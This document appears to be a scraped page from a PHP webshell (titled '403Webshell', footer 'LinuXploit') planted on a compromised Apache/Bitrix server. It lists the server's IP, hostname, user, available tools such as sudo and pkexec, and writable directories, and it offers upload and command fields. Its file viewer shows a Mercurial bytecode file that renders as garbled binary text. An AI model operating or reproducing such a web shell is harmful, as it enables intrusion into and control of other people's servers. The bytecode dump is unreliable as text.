403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/repocache.cpython-39.opt-1.pyc
a

�+�b��@sdddlmZddlZddlZddlZddlmZmZmZm	Z	m
Z
Gdd�de�Zdd�Z
d	d
�ZdS)�)�absolute_importN�)�error�hg�obsolete�scmutil�utilc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�
repoloaderz�Load repositories in background thread

    This is designed for a forking server. A cached repo cannot be obtained
    until the server fork()s a worker and the loader thread stops.
    cCs@|��|_tj|d�|_tj|d�|_d|_t	�
�|_d|_dS)N)�max)�maxlenF)
�copy�_uirZlrucachedict�_cache�collections�deque�_inqueue�
_accepting�	threading�Event�	_newentry�_thread)�self�uir�r�9/usr/lib64/python3.9/site-packages/mercurial/repocache.py�__init__s

zrepoloader.__init__cCs4|jjdkrdSd|_tj|jd�|_|j��dS)NrT)�target)rrrr�Thread�	_mainloopr�start�rrrrr(s
zrepoloader.startcCsB|js
dSd|_|j��|j��d|_|j��|j��dS)NF)rrr�set�joinr�clearrr rrr�stop1s


zrepoloader.stopcCs|j�|�|j��dS)z6Request to load the specified repository in backgroundN)r�appendrr!�r�pathrrr�load;szrepoloader.loadcCs(|jr|j��rt�d��|j�|d�S)z�Return a cached repo if available

        This function must be called after fork(), where the loader thread
        is stopped. Otherwise, the returned repo might be updated by the
        loader thread.
        s0cannot obtain cached repo while loader is activeN)r�is_aliverZProgrammingErrorr�peekr&rrr�get@s
�zrepoloader.getcsn�jrjt���j���jr�j��z�j���WntyLYqYn0t	�
�j��fdd��qqdS)Ncs
����S�N)�_loadr�r'rrr�<lambda>]�z&repoloader._mainloop.<locals>.<lambda>)r�gcZcollectr�waitr#r�popleft�
IndexErrorrZ	callcatchr
r rr.rrMs


zrepoloader._mainloopcCsrt��}z|j�|�}Wn$ty<t�|j|���}Yn0t	|�|j
�dd|t��|�|j�||�dS)Ns	repocaches&loaded repo into cache: %s (in %.3fs)
)
rZtimerr�pop�KeyErrorrZ
repositoryr
Z
unfiltered�_warmupcacher�log�insert)rr'r�reporrrr-_s
�zrepoloader._loadN)�__name__�
__module__�__qualname__�__doc__rrr$r(r+rr-rrrrr	s
	

r	cCsV|��|j|jj|jj|jj|jjtjD]}t�	||�q4|j
�|�dSr,)Z
invalidateallZ	changelogZobsstoreZ_allZ
successorsZpredecessorsZchildrenrZ
cachefuncsZgetrevsZ_phasecacheZ
loadphaserevs)r:�namerrrr7rs
r7cCs~|j}|j}d|vr6|d|d<}|j|j_|j_d|vrX|d|d<}|j|j_d|vrz|d|d<}|j|j_dS)z/Copy cached attributes from srcrepo to destrepos	changelogsobsstores_phasecacheN)Z
_filecacheZsvfs�obj�openerZ_realopener)ZsrcrepoZdestrepoZ
destfilecacheZsrcfilecacheZcerrr�	copycaches
rB)Z
__future__rrr1r�rrrrr�objectr	r7rBrrrr�<module>s	[

Youez - 2016 - github.com/yon3zu
LinuXploit